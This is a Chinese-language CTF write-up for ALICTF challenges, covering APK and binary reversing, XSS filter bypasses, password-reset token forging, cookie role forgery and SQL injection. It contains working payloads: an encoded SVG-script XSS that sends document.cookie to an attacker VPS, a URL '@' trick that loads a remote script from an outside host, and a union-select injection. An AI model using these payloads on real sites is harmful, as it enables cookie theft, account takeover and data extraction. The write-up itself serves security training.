0x00
给了个apk,反编译之。使用JEB,一开始使用classes_dex2jar出来的代码不能看.....
入口的Activity中有两个对话框,发现调用了check方法,只要不报异常就能成功。
这里的this.b是M类的一个对象,所以找M类中的check方法。
进入check,看到代码的意思如下,调用getKey获取一个8字节的字符串:
这里不会抛异常,所以调用的是T类中的方法。
然后接下来,里面有个16元素的数组,赋值的索引很乱,只能写纸上依次把元素的值找出来。
真正的关键代码如下:
在循环中,v1从0开始,v2是题目中给出的数组,一共16个元素。arg10是我们从TextView中传递过来的字符串。只要绕过if就不抛异常了。
看到if的条件是异或运算然后比较,得出绕过条件boddylanbobdylan这个16位串与数组的元素挨个异或求出值即可,写段代码如下:
得到flag:blow,in the winD.
输入到APK中,弹出正确的dialog,然后提交到题目就得分了。
0x01
绕过xss过滤,在页面中可以提交<script>标签。于是提交js,发现过滤了.、=、()等字符,一开始想到使用反引号绕括号的过滤,可以弹窗,但是要收cookie就不行了,于是考虑对js代码进行编码(先html编码再URL编码)操作:
可以弹出窗口,那么利用location.href重定向一下,然后vps收一下cookie就行了。Payload的形式为:
<svg><script>urlencode(location.href=”http://vps/1.php?c=”+escape(document.cookie))</script>
这里是利用了svg标签的xml编码特性,在svg元素中的<script>元素,会先进行xml解析,然后再执行。这里使用了一次html编码,执行时自动解码。如果直接将payload进行一次html编码,还是会被过滤,而且全部都没有了,于是考虑再进行一次URL编码后提交,成功。
http://089d9b2b0de6a319.alictf.com/xss.php?name=<svg><script>%26%23108%3B%26%23111%3B%26%2399%3B%26%2397%3B%26%23116%3B%26%23105%3B%26%23111%3B%26%23110%3B%26%2346%3B%26%23104%3B%26%23114%3B%26%23101%3B%26%23102%3B%26%2361%3B%26%2334%3B%26%23104%3B%26%23116%3B%26%23116%3B%26%23112%3B%26%2358%3B%26%2347%3B%26%2347%3B%26%2350%3B%26%2348%3B%26%2351%3B%26%2346%3B%26%2349%3B%26%2357%3B%26%2353%3B%26%2346%3B%26%2349%3B%26%2352%3B%26%2349%3B%26%2346%3B%26%2349%3B%26%2351%3B%26%2355%3B%26%2347%3B%26%2349%3B%26%2346%3B%26%23112%3B%26%23104%3B%26%23112%3B%26%2363%3B%26%2399%3B%26%2361%3B%26%2334%3B%26%2343%3B%26%23101%3B%26%23115%3B%26%2399%3B%26%2397%3B%26%23112%3B%26%23101%3B%26%2340%3B%26%23100%3B%26%23111%3B%26%2399%3B%26%23117%3B%26%23109%3B%26%23101%3B%26%23110%3B%26%23116%3B%26%2346%3B%26%2399%3B%26%23111%3B%26%23111%3B%26%23107%3B%26%23105%3B%26%23101%3B%26%2341%3B</script>
在VPS放置一个1.php页面,这个PHP页面接收GET参数c,即管理员cookie,然后将cookie字符串写入到本地1.txt文件中,最终Vps上直接从cookie获取到flag:
Base64解码一次这个flag,得到一个URL,点进去就是flag了。
0x02
打开之后发现有注册页面,并且提示只有Admin用户才能访问shop。第一反应就是要注册覆盖,在insert中使用一些换行符可以达到效果:
然后登录Admin账户,可以发现卖东西的页面:
但是只有一点点钱,所以只能抓包看看能不能把数量改为负数。
真的可以,提交后alert一个payment,反向付款让我直接变土豪了。
用这些钱去买那个最贵的草泥马得到flag。
0x03
右键查看源码,给出了一段jquery代码。使用jquery的getScript方法载入default.js,第一反应是要绕过URL验证导向我们自己的js文件。
思路有了就要绕过了。
导向到我们自己的js,要使用前端猥琐流URL Hacking技术,在web之困和乌云知识库上都有看到过URL中的@可以作为重定向。
Js代码的目的就是将location.hash的URL进行解析,分离出URL组成中的协议、端口、认证的用户名密码,以及判断了是否域名为notexist.example.com。
重点是如果将重定向的域名指定为我们的js地址,绕过如下代码:
具体绕过是根据这段代码:
原理主要是用了@的不同含义,@既可以用来做验证,即前面跟用户名密码然后冒号分割,又可以进行重定向。绕过就是依靠这个性质,payload如下:
http://ef4c3e7556641f00.alictf.com/xss.php?http://x:[email protected]:@xss.hacktask.net/bLabyp?1427513459
红色部分是我的js地址。
在xss平台上,成功收到flag:
Base64解码一次这个flag,得到一个URL,点进去就是flag了。
0x04
这里打开后看到有登录、注册和密码找回。既然搞业务逻辑,密码找回的概率大,所以从它入手,随便注册一个账号,看到邮件发来之后是以一串token作为url连接:
猜测这个token可以破解出来,在密码找回页面上,看到了提示:
每次打开页面的serverTime都不一样,但是这个key不变,所以肯定用了什么组合方式将这个key作为token的一部分。
之前有从乌云上看到360的密码找回的弱token字段的爆破,所以这里要研究一下这个pass_token是如何生成的,这样就可以绕过邮箱了。
随便申请个账号ynu,点击密码找回做个测试,发现邮件中有发件时间的提示,我用了用户名+key+时间戳的组合进行测试。但是邮件中没有给秒数,所以自己做个list遍历看能不能得到token,代码如下:
运行结果如下:
可以看到,成功生成了token。
按照这个思路,将admin的密码找回链接生成出来就行了。
步骤:
1、点击密码找回,输入admin
2、提交,然后提交前要查看源码,主要是看那个serverTime,给了秒数。
3、在程序中递增这个秒数直到获取了url。
代码如下,因为发邮件会有一定的延迟,所以要递增这里的gettime函数中的秒数,直到输出的html页面不是“链接失效”:
生成了admin的密码重置URL之后,点击进去可以设置密码了:
这里还有个坑,改了密码登录发现被检测出异常登录,蛋疼。
心想肯定限制了IP,提交X-Forwarded-For字段,还是不行。就差一点儿去爆破常用的内网网段了。。。。。。。。
最后脑洞开了,= =济南人事管理系统,真不会是用真的济南的IP来搞吧......
找了个在济南上学的同学,然后用QQ的远程控制功能登录这个题,输入admin的账号密码,用了济南的IP再次登录就获取到了flag:
我做完之后,看到公告是说降低了题目的难度,不知道是不是直接找个济南IP加载X-Forwarded-For字段里就行了。
0x05
1. 脱壳
Upx壳,在BT5下面使用upx –d先进行脱壳。
2. 调试
Od加载发现运行不起来,有反调试。
运行程序,然后attach。
在GetWindowTextA下断,回溯堆栈,找到程序调用的地方。
回溯上一层
其中loc_405900就是获取用户输入的地方。猜测验证key的程序在loc_405160。这2个函数因为花指令,ida没有把他们识别为函数,因此不能反编译。进入loc_405160,发现往栈上赋值,猜测为flag。
往下看了下,有对字符串变换的指令,直接拖到该函数结束的地方,下个断点。
这儿如果跳转,程序返回1. 如果不跳,程序返回0。 因此这应该大概是最终比较的地方。所以选择在此处下断。
再次查看那块内存。
得到flag。
0x06
拿到页面之后,发现源码页面有注释的两段PHP代码,一段是加密算法,一段是解密算法。
一进来就显示Guest,没有登录的话,应该是cookie字段有东西,抓包看果然有个role字段,是base64编码过的,解码一下发现没有实际意义。
这时就想到能不能从算法本身入手,分析代码中的缺陷来自己构造出Admin账户的role字段,就可以访问Article了。
分析源码:
1、加密算法
具体的加密算法流程如下:
密文的Guest前后32位组成为:
md5(Guest) ⊕ 32位rnd ⊕ $V
后32位为:
32位rnd ⊕ reverse_$V
2、解密算法
解密算法只返回一个32位的串。
取前面32位,组成为:
Md5(Guest) ⊕ 32位rnd ⊕ $V结合我们加密时获取的后面32位的数据,这32位和明文本身无关,经过异或运算的性质,相同值为0,任何串和0异或是它本身。就可以推导出Admin的role字段,具体过程如下,前32位主要使用异或把Guest的md5抵消掉,然后加上我们的Admin的md5值,具体的公式如下:
md5(Guest) ⊕ 32位rnd ⊕ $V ⊕ md5(Admin) ⊕ md5(Guest)
后32位都一样,从http报文的role的后32位base64解码之后拼接过来就行了。这里的自带的role字段的值base64解码后要凑够64位,加两个等号补位。
还原Admin的role字段代码如下:
运行结果:
运行代码即可获取Admin的role字符串,抓包加入至cookie,然后成功返回了页面,提示我们是Admin用户。
但是访问Article会找不到flag,居然还有坑= =。。。。
抓包看下,发现还有个article字段,urldecode一下发现是个PHP序列化字符串,是个integer类型,内容为1,抓包截图:
我们尝试修改这个原来的1,发现页面返回不一样了,第一反应这里可能要注入拿flag。
提交string类型的序列化字符串,分别提交:
s:9:”1 and 1=1”;
s:9:”1 and 1=2”;
页面返回有差异,确定为注入点。这里肯定是把序列化字符串直接带入了SQL语句进行查询了。
使用order by猜解列数,发现为两列:
使用union查询来确定回显列数,为第二列:
获取flag,这里算我人品好,当时做到这里快没时间了,于是猜flag字段和flag表,人品爆发!!!!!
Payload为:
S:39:”1 and 1=2 union select 1,flag from flag”;
直接访问这个页面就获取了flag: